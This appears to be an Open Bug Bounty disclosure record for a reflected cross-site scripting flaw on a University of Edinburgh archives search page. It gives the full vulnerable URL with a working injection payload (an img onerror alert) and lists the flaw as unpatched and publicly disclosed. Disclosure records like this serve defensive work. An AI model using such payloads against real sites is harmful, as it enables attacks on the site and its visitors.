archives.lib.ed.ac.uk XSS vulnerability

2015-10-16T17:14:00
ID OBB:92638
Type openbugbounty
Reporter Glubz
Modified 2015-10-16T17:16:00

Description

Vulnerable URL:
http://www.archives.lib.ed.ac.uk/alumni/search.php?view=glubz%22%3E%3Cimg%20src=x%20onerror=window.onerror=alert;throw/xssposed/;//%3E%3C
Details:

Description| Value
---|---
Patched:| No
Latest check for patch:| 25.07.2017
Vulnerability type:| XSS
Vulnerability status:| Publicly disclosed
Alexa Rank| Unknown / Not calculated
Google Pagerank| 0
VIP website status:| No
Check archives.lib.ed.ac.uk SSL connection:| (Grade: C)

Coordinated Disclosure Timeline:

Description| Value
---|---
Vulnerability reported| 16 October, 2015 17:14 GMT
Vulnerability existence verified and confirmed| 16 October, 2015 17:16 GMT